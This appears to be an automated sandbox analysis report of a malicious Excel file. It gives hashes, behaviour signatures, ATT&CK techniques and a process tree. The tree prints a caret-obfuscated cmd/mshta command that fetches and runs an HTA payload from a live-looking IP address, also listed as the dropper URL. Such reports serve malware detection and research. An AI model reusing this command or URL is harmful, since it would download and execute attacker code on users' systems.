51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b

General

Target

51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b.xls
Size

64KB
MD5

2cb654dab58b844f48da1bca06589fc0
SHA1

1f105020db0915011fe85d8d2b1eb24ea0b3fb7e
SHA256

51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b
SHA512

3ca6add8d1aa85311a18fabf7016d0874982e648838524042fffddf7fcd61854e77144a99e9459fcae2091e26da89092080737ad79cc7ca11bafc28672150510
SSDEEP

1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3936	536	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	4552	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
536	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 3936	536	EXCEL.EXE	86
PID 536 wrote to memory of 3936	536	EXCEL.EXE	86
PID 3936 wrote to memory of 4552	3936	cmd.exe	88
PID 3936 wrote to memory of 4552	3936	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:536
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
9bc643bfb0ee61104c51a16661c07c73

SHA1
1b8091ef8ebdaeecbedad06c32b9d8326d1289ac

SHA256
afd6d07d817bb3cc588e4b3e0c333ed8a9f7a2ab05cfd705c88bcb0ff19e9bb3

SHA512
b593148299eb790dc02a622f38bcfd5a62038c9e0020a179617e55f0f4a132e6f5cc97358b9df1eb9481aa2267bfdde35d791db7d9c66c168f9ef8edeb1d01e9

Download Submit
memory/536-14-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-3-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-2-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-4-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-5-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-6-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-9-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-10-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-1-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/536-13-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-11-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-15-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/536-12-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-8-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-16-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/536-7-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-27-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-28-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/536-29-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-0-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads